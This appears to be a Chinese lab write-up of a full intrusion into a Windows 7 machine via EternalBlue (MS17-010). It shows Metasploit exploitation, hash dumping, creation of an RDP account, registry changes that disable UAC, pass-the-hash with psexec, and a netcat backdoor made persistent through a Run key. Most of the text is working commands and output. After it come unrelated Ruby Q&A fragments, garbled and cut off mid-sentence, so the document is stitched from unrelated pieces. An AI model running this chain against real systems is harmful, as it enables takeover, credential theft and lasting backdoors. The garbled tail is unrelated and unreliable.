一、实验目的:
二、实验环境:
三、实验原理:
永恒之蓝相关病毒,其实是利用了微软的 MS17-010 漏洞。MS17-010 是 Windows 系统一个底层服务的漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
四、实验步骤:
4.1 利用ms17-010永恒之蓝漏洞对win7进行渗透
┌──(root㉿kali)-[~/桌面]
└─# msfconsole
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.18.130
RHOSTS => 192.168.18.130
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit

注:当出现图中标注内容,说明存在永恒之蓝漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.18.130
RHOSTS => 192.168.18.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.18.128
LHOST => 192.168.18.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit


meterpreter > getuid

4.2 利用enable_rdp脚本开启远程桌面并创建用户
RDP 概述:远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) >
注:post/windows/manage/enable_rdp 模块可以帮我们启动目标主机的 rdp 服务,并且可以帮我 们自动创建 rdp 用户,另外还可以帮我们把目标主机的 rdp 端口映射到本地。
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/manage/enable_rdp
msf6 post(windows/manage/enable_rdp) > set username test
username => test
msf6 post(windows/manage/enable_rdp) > set password 123456
password => 123456
msf6 post(windows/manage/enable_rdp) > set session 2
session => 2
msf6 post(windows/manage/enable_rdp) > run

Kali再开一个命令窗口:
┌──(root㉿kali)-[~/桌面]
└─# rdesktop 192.168.18.130


点击”其他用户“,利用刚才创建的账号/密码登录:test/123456



4.2 关闭主机UAC防护策略并开启后门
通过 ms17-010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。
SAM 概述:SAM 文件即账号密码数据库文件,SAM 文件的位置是: C:\Windows\System32\config\SAM

回到msf控制台,从SAM中导出密码的哈希值
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tan:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
meterpreter >

以创建的test用户为案例:
test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
注:我们需要创建一条防火墙规则允许 4444 端口访问网络,否则我们建立 session 时 payload 不能通过 4444 端口访问网络导致 session 建立失败。
回到msf控制台
meterpreter > shell
Process 3704 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>netsh advfirewall firewall add rule name="test" protocol=TCP dir=out remoteport=4444 action=allow
netsh advfirewall firewall add rule name="test" protocol=TCP dir=out remoteport=4444 action=allow
ȷ����
C:\Windows\system32>
显示乱码但是已经执行成功
拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

4.3 关闭主机UAC防护策略并开启后门
UAC 概述:
用户帐户控制(User Account Control,简写作 UAC)是微软公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
关闭UAC
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.
C:\Windows\system32>
参数说明:
ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项
关闭 UAC 远程限制,此机制有助于防止本地恶意软件以管理权限远程运行。关闭 UAC 远程限制方便黑客远程执行命令。
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
The operation completed successfully.
C:\Windows\system32>exit
exit
C:\Windows\system32>exit
exit
C:\Windows\system32>exit
exit
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(windows/smb/ms17_010_eternalblue) >

使用hash值登录系统:
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.18.130
RHOSTS => 192.168.18.130
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.18.128
LHOST => 192.168.18.128
msf6 exploit(windows/smb/psexec) > set SMBUser test
SMBUser => test
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf6 exploit(windows/smb/psexec) > set SMBDomain WORKGROUP
SMBDomain => WORKGROUP
msf6 exploit(windows/smb/psexec) > exploit

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
可以看到虽然我们使用 test 用户进行认证,但是我们同样获取到了 SYSTEM 的权限
下面我们配置一个后门程序,修改 UAC 的注册表,需要重启才能生效。
上传 nc 到 Win7
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\windows\system32
[*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\windows\system32\nc.exe
meterpreter >
注册表添加启动项执行 nc 反弹 shell 命令
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'
Successfully set lltest_nc of REG_SZ.
meterpreter >
nc 参数解释:
L 表示用户退出连接后重新进行端口侦听
d 后台运行
p 指定端口
-e prog 程序重定向,一旦连接,就执行
meterpreter > shell
Process 1792 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>
防火墙允许 443 端口访问网络否则开机的时需要用户点击允许访问网络才可以成功执行。
C:\Windows\system32>netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow
netsh advfirewall firewall add rule name="test443" protocol=TCP dir=in localport=443 action=allow
ȷ����
C:\Windows\system32>
重启win7
C:\Windows\system32>shutdown -r -f -t 0
shutdown -r -f -t 0
C:\Windows\system32>
选项说明:
-r 重启
-f 强制
-t 时间 0 表示立刻
需要用户进入系统后,我们的后门程序,才可以使用。在这个锁屏的界面,我们的后门程序还没有运行。

新建一个终端使用 nc 进行连接后门
┌──(root㉿kali)-[~/桌面]
└─# nc -v 192.168.18.130 443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.18.130:443.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\SysWOW64>

msf控制台连接方法
msf6 > connect 192.168.18.130 443
[*] Connected to 192.168.18.130:443 (via: 192.168.18.128:34817)
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\SysWOW64>

我正在学习如何使用Nokogiri,根据这段代码我遇到了一些问题:require'rubygems'require'mechanize'post_agent=WWW::Mechanize.newpost_page=post_agent.get('http://www.vbulletin.org/forum/showthread.php?t=230708')puts"\nabsolutepathwithtbodygivesnil"putspost_page.parser.xpath('/html/body/div/div/div/div/div/table/tbody/tr/td/div
我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看rubyzip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d
类classAprivatedeffooputs:fooendpublicdefbarputs:barendprivatedefzimputs:zimendprotecteddefdibputs:dibendendA的实例a=A.new测试a.foorescueputs:faila.barrescueputs:faila.zimrescueputs:faila.dibrescueputs:faila.gazrescueputs:fail测试输出failbarfailfailfail.发送测试[:foo,:bar,:zim,:dib,:gaz].each{|m|a.send(m)resc
很好奇,就使用rubyonrails自动化单元测试而言,你们正在做什么?您是否创建了一个脚本来在cron中运行rake作业并将结果邮寄给您?git中的预提交Hook?只是手动调用?我完全理解测试,但想知道在错误发生之前捕获错误的最佳实践是什么。让我们理所当然地认为测试本身是完美无缺的,并且可以正常工作。下一步是什么以确保他们在正确的时间将可能有害的结果传达给您? 最佳答案 不确定您到底想听什么,但是有几个级别的自动代码库控制:在处理某项功能时,您可以使用类似autotest的内容获得关于哪些有效,哪些无效的即时反馈。要确保您的提
假设我做了一个模块如下:m=Module.newdoclassCendend三个问题:除了对m的引用之外,还有什么方法可以访问C和m中的其他内容?我可以在创建匿名模块后为其命名吗(就像我输入“module...”一样)?如何在使用完匿名模块后将其删除,使其定义的常量不再存在? 最佳答案 三个答案:是的,使用ObjectSpace.此代码使c引用你的类(class)C不引用m:c=nilObjectSpace.each_object{|obj|c=objif(Class===objandobj.name=~/::C$/)}当然这取决于
我正在尝试使用ruby和Savon来使用网络服务。测试服务为http://www.webservicex.net/WS/WSDetails.aspx?WSID=9&CATID=2require'rubygems'require'savon'client=Savon::Client.new"http://www.webservicex.net/stockquote.asmx?WSDL"client.get_quotedo|soap|soap.body={:symbol=>"AAPL"}end返回SOAP异常。检查soap信封,在我看来soap请求没有正确的命名空间。任何人都可以建议我
关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题?更新问题,以便editingthispost可以用事实和引用来回答它.关闭4年前。Improvethisquestion我想在固定时间创建一系列低音和高音调的哔哔声。例如:在150毫秒时发出高音调的蜂鸣声在151毫秒时发出低音调的蜂鸣声200毫秒时发出低音调的蜂鸣声250毫秒的高音调蜂鸣声有没有办法在Ruby或Python中做到这一点?我真的不在乎输出编码是什么(.wav、.mp3、.ogg等等),但我确实想创建一个输出文件。
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t
我想将html转换为纯文本。不过,我不想只删除标签,我想智能地保留尽可能多的格式。为插入换行符标签,检测段落并格式化它们等。输入非常简单,通常是格式良好的html(不是整个文档,只是一堆内容,通常没有anchor或图像)。我可以将几个正则表达式放在一起,让我达到80%,但我认为可能有一些现有的解决方案更智能。 最佳答案 首先,不要尝试为此使用正则表达式。很有可能你会想出一个脆弱/脆弱的解决方案,它会随着HTML的变化而崩溃,或者很难管理和维护。您可以使用Nokogiri快速解析HTML并提取文本:require'nokogiri'h
我想为Heroku构建一个Rails3应用程序。他们使用Postgres作为他们的数据库,所以我通过MacPorts安装了postgres9.0。现在我需要一个postgresgem并且共识是出于性能原因你想要pggem。但是我对我得到的错误感到非常困惑当我尝试在rvm下通过geminstall安装pg时。我已经非常明确地指定了所有postgres目录的位置可以找到但仍然无法完成安装:$envARCHFLAGS='-archx86_64'geminstallpg--\--with-pg-config=/opt/local/var/db/postgresql90/defaultdb/po